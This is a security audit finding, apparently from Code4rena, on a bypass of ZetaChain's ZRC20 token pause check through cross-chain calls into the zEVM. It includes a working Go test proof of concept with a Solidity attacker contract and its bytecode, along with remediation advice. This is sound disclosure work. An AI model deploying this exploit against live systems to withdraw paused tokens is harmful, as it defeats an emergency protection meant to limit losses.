ZRC20 Token Pause Check Bypass
The ZRC20 token pause check is only applied via Ethermint hooks after a cross-chain call, but calls into the zEVM from the crosschain module bypass these hooks. An attacker could deploy a smart contract that, when triggered by a cross-chain call, withdraws a paused ZRC20 token, circumventing the pause protection.
ChristiansWhoHack Follow with berndartmueller
Originally disclosed on Code4rena
Submitted by ChristiansWhoHack, also found by berndartmueller
Ethermint runs hooks after the execution of a transaction. Currently, within the Zetachain setup, there are two modules using hooks: crosschain and fungible. The crosschain hook processes outgoing calls to withdraw for ZRC20 tokens and zeta sends. The fungible module checks to see if the ZRC20 token is paused or not.
When calling into the zEVM from the crosschain module on a cctx, the call is below the place where the hooks run; this means that the Ethermint hooks are not triggered. There is a call to processLogs from the crosschain module but there is no call to CheckZRC20Paused() function. If a token was paused, an attacker could circumvent the pausing protection by setting up a smart contract to execute on the onCrossChainCall() callback to trigger a withdrawal that should not be possible. The pausing may be used in events once a vulnerability is discovered. So, bypassing this assumed protection could have catastrophic consequences.
Proof of Concept
The proof of concept is a Cosmos SDK test that accesses the Withdrawal functionality within a CCTX.
- Add the following code to the file
x/crosschain/keeper/gas_payment_test.go.
func TestZRC20PauseBypassTry2(t *testing.T) {
// Initialize chain enough to use
k, ctx, sdkk, zk := keepertest.CrosschainKeeper(t)
msgServer := keeper.NewMsgServerImpl(*k)
_ = msgServer
// Set the chain ids we want to use to be valid
params := observertypes.DefaultParams()
zk.ObserverKeeper.SetParams(
ctx, params,
)
// Validator setup
validators := k.StakingKeeper.GetAllValidators(ctx)
validatorAddress := validators[0].OperatorAddress
valAddr, _ := sdk.ValAddressFromBech32(validatorAddress)
addresstmp, err := sdk.AccAddressFromHexUnsafe(hex.EncodeToString(valAddr.Bytes()))
validatorAddr := addresstmp.String()
// Add validator to the observer list for voting
chains := zk.ObserverKeeper.GetParams(ctx).GetSupportedChains()
fmt.Println(chains)
for _, chain := range chains {
zk.ObserverKeeper.SetObserverMapper(ctx, &observertypes.ObserverMapper{
ObserverChain: chain,
ObserverList: []string{validatorAddr},
})
}
k.GetAuthKeeper().GetModuleAccount(ctx, fungibletypes.ModuleName)
// Set the TSS to a random address for processing
k.SetTSS(ctx, types.TSS{
TssPubkey: "zetapub1addwnpepq28c57cvcs0a2htsem5zxr6qnlvq9mzhmm76z3jncsnzz32rclangr2g35p",
})
// Setup system contracts on the zEVM
deploySystemContracts(t, ctx, zk.FungibleKeeper, sdkk.EvmKeeper)
chainID := getValidEthChainID(t)
//fmt.Println(systemAddr)
/*
- Deploy ZRC20 contract
- Pause the contract - https://www.zetachain.com/docs/architecture/modules/fungible/messages/#msgupdatezrc20pausedstatus
- Deploy attacker contract that will interact with ZRC20 contract
- Make a CCTX to call this contract
- Attacker contract triggers event for ZRC20 things. Bypasses pausing.
*/
// Deploy a ZRC20 token for use later
asset := sample.EthAddress().String()
zrc20Addr, err := k.GetFungibleKeeper().DeployZRC20Contract(
ctx, "ETH", "ETH", 18, chainID, 1, asset, big.NewInt(1000000000),
)
fmt.Println(zrc20Addr, err)
// Get the coin we just made and pause it.
zrc20Coin, _ := k.GetFungibleKeeper().GetForeignCoins(ctx, zrc20Addr.String())
assert.Equal(t, false, zrc20Coin.Paused)
zrc20Coin.Paused = true
k.GetFungibleKeeper().SetForeignCoins(ctx, zrc20Coin)
zrc20Coin, _ = k.GetFungibleKeeper().GetForeignCoins(ctx, zrc20Addr.String())
assert.Equal(t, true, zrc20Coin.Paused)
// Setup the gas tokens for a given chain and the price of the gas
// systemAddr, _ := k.GetFungibleKeeper().GetSystemContract(ctx)
k.GetFungibleKeeper().SetGasPrice(ctx, big.NewInt(chainID), big.NewInt(1))
k.GetFungibleKeeper().SetGasCoin(ctx, big.NewInt(chainID), zrc20Addr)
k.SetGasPrice(
ctx, types.GasPrice{
ChainId: chainID,
MedianIndex: 0,
Prices: []uint64{1},
},
)
// Set the chain nonce for the outbound tx
k.SetChainNonces(ctx, types.ChainNonces{
Index: "bsc_mainnet",
ChainId: 56,
Nonce: 0,
// #nosec G701 always positive
FinalizedHeight: uint64(ctx.BlockHeight()),
},
)
k.SetPendingNonces(ctx, types.PendingNonces{
NonceLow: 0,
NonceHigh: 0,
ChainId: 56,
Tss: "zetapub1addwnpepq28c57cvcs0a2htsem5zxr6qnlvq9mzhmm76z3jncsnzz32rclangr2g35p",
})
/*
// Deploy my smart contract. Simply calls the withdraw of a particular ZRC20 contract.
pragma solidity 0.8.7;
// https://github.com/code-423n4/2023-11-zetachain/blob/2834e3f85b2c7774e97413936018a0814c57d860/repos/protocol-contracts/contracts/zevm/interfaces/IZRC20.sol
interface IZRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function deposit(address to, uint256 amount) external returns (bool);
function withdraw(bytes memory to, uint256 amount) external returns (bool);
function withdrawGasFee() external view returns (address, uint256);
}
struct zContext {
bytes origin;
address sender;
uint256 chainID;
}
interface zContract {
function onCrossChainCall(
zContext calldata context,
address zrc20,
uint256 amount,
bytes calldata message
) external;
}
contract MissingPauseHandling is zContract{
IZRC20 token;
constructor(address zrc20token){
token = IZRC20(zrc20token);
}
// Trigger the actuall event
function onCrossChainCall(
zContext calldata context,
address zrc20,
uint256 amount,
bytes calldata message
) external override{
token.approve(address(token), 0xFFFFFFFFFFFFFFFFFFFFF);
token.withdraw(
abi.encodePacked(address(0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF)), 1
);
}
}
*/
// My personal defined contract
AttackerContract := &bind.MetaData{
ABI: "[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"zrc20token\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"components\":[{\"internalType\":\"bytes\",\"name\":\"origin\",\"type\":\"bytes\"},{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"chainID\",\"type\":\"uint256\"}],\"internalType\":\"struct zContext\",\"name\":\"context\",\"type\":\"tuple\"},{\"internalType\":\"address\",\"name\":\"zrc20\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"message\",\"type\":\"bytes\"}],\"name\":\"onCrossChainCall\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]",
Bin: "0x608060405234801561001057600080fd5b506040516107313803806107318339818101604052810190610032919061008d565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610108565b600081519050610087816100f1565b92915050565b6000602082840312156100a3576100a26100ec565b5b60006100b184828501610078565b91505092915050565b60006100c5826100cc565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600080fd5b6100fa816100ba565b811461010557600080fd5b50565b61061a806101176000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063de43156e14610030575b600080fd5b61004a600480360381019061004591906102ef565b61004c565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166a0fffffffffffffffffffff6040518363ffffffff1660e01b81526004016100d292919061042b565b602060405180830381600087803b1580156100ec57600080fd5b505af1158015610100573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061012491906102c2565b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c701262673deadbeefdeadbeefdeadbeefdeadbeefdeadbeef6040516020016101869190610410565b60405160208183030381529060405260016040518363ffffffff1660e01b81526004016101b4929190610454565b602060405180830381600087803b1580156101ce57600080fd5b505af11580156101e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061020691906102c2565b505050505050565b60008135905061021d8161059f565b92915050565b600081519050610232816105b6565b92915050565b60008083601f84011261024e5761024d610568565b5b8235905067ffffffffffffffff81111561026b5761026a610563565b5b60208301915083600182028301111561028757610286610572565b5b9250929050565b6000606082840312156102a4576102a361056d565b5b81905092915050565b6000813590506102bc816105cd565b92915050565b6000602082840312156102d8576102d761057c565b5b60006102e684828501610223565b91505092915050565b60008060008060006080868803121561030b5761030a61057c565b5b600086013567ffffffffffffffff81111561032957610328610577565b5b6103358882890161028e565b95505060206103468882890161020e565b9450506040610357888289016102ad565b935050606086013567ffffffffffffffff81111561037857610377610577565b5b61038488828901610238565b92509250509295509295909350565b61039c816104a0565b82525050565b6103b36103ae826104a0565b61053f565b82525050565b60006103c482610484565b6103ce818561048f565b93506103de81856020860161050c565b6103e781610581565b840191505092915050565b6103fb816104e8565b82525050565b61040a816104fa565b82525050565b600061041c82846103a2565b60148201915081905092915050565b60006040820190506104406000830185610393565b61044d60208301846103f2565b9392505050565b6000604082019050818103600083015261046e81856103b9565b905061047d6020830184610401565b9392505050565b600081519050919050565b600082825260208201905092915050565b60006104ab826104be565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006104f3826104de565b9050919050565b6000610505826104de565b9050919050565b60005b8381101561052a57808201518184015260208101905061050f565b83811115610539576000848401525b50505050565b600061054a82610551565b9050919050565b600061055c82610592565b9050919050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b6105a8816104a0565b81146105b357600080fd5b50565b6105bf816104b2565b81146105ca57600080fd5b50565b6105d6816104de565b81146105e157600080fd5b5056fea26469706673582212201a9a9890e7959663d498b5cd67f81c095c01b6f6f2e4954ba9d7acbcaee5907464736f6c63430008070033",
}
//sdkk.EvmKeeper
attackerContract, err := k.GetFungibleKeeper().DeployContract(ctx, AttackerContract, zrc20Addr)
fmt.Println("Attacker contact:", attackerContract, err)
// Trigger the event with a single vote
msg := &types.MsgVoteOnObservedInboundTx{
Creator: validatorAddr,
Sender: "0x954598965C2aCdA2885B037561526260764095B8",
SenderChainId: chainID,
Receiver: attackerContract.String(),
ReceiverChain: 7000,
Amount: sdkmath.NewUintFromString("1"),
Message: "d97B1de3619ed2c6BEb3860147E30cA8A7dC9891", // TODO - do dynamically - don't hardcode
InBlockHeight: 1,
GasLimit: 1000000000,
CoinType: 1,
TxOrigin: "0x954598965C2aCdA2885B037561526260764095B8",
Asset: "",
EventIndex: 1,
}
k.GetFungibleKeeper().DepositZRC20(ctx, zrc20Addr, attackerContract, big.NewInt(1000000000))
// Trigger the call to the zEVM from the contract call
res, err := msgServer.VoteOnObservedInboundTx(
ctx,
msg,
)
fmt.Println(res, err)
// Look at outbound tx's
cctxs := k.GetAllCrossChainTx(ctx)
fmt.Println(cctxs[0])
}
- Run the following command to run this test:
go test ./x/crosschain/keeper/gas_payment_test.go -run TestZRC20PauseBypassTry2 -v
- Notice that the zEVM call succeeds even though the ZRC20 token is paused.
Short Term Remediation
Add in the following code for user facing zEVM calls. For instance, evm_deposit.go should check whether or not the token was paused.
callReceipt := ðtypes.Receipt{
Logs: logs,
}
err = k.fungibleKeeper.CheckPausedZRC20(ctx, callReceipt)
if err != nil {
return false, errors.Wrap(types.ErrCannotProcessWithdrawal, err.Error())
}
Long Term Remediation
The pausing check is currently happening after a zEVM call via hooks and not in the contract itself. Having use before a check is considered bad practice, since extra computation occurs. In this case, it appears that the added complexity having this check not in the smart contract led to the vulnerability.
Adding the pausing functionality to the smart contract makes it less complex and more visible to everyone involved. It is recommended to do this.
0xean (Judge) decreased severity to Medium and commented:
I think this should be downgraded to Medium based on the C4 categorizations. As as I understand it currently, it doesn’t lead to a direct loss of funds.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the pause check is performed in Ethermint hooks after transaction execution, but cross-chain calls into the zEVM from the crosschain module do not trigger these hooks, so the check is skipped.
Impact
An attacker could bypass the pause protection on a ZRC20 token, potentially leading to catastrophic consequences if the pause was meant to stop a vulnerability, though the judge noted it does not lead to direct loss of funds.
What the attacker needed
A deployed ZRC20 token that is paused; ability to deploy a smart contract on zEVM; ability to send a cross-chain transaction
The fix
The pause check should be added directly in the smart contract or in user-facing zEVM calls such as evm_deposit.go, rather than relying on hooks that can be bypassed.
How it was found
- Deploy a ZRC20 token contract and pause it.
- Deploy an attacker contract that calls withdraw on the ZRC20 token when its onCrossChainCall function is invoked.
- Send a cross-chain transaction that calls the attacker contract.
- Observe that the withdrawal succeeds even though the token is paused.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A ZRC20 token is a token on ZetaChain that represents an asset from another blockchain. The system has a pause feature to stop transfers of a token if something goes wrong. This report shows that a clever attacker could still move a paused token by using a smart contract that gets called during a cross-chain transaction, because the pause check happens too late.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.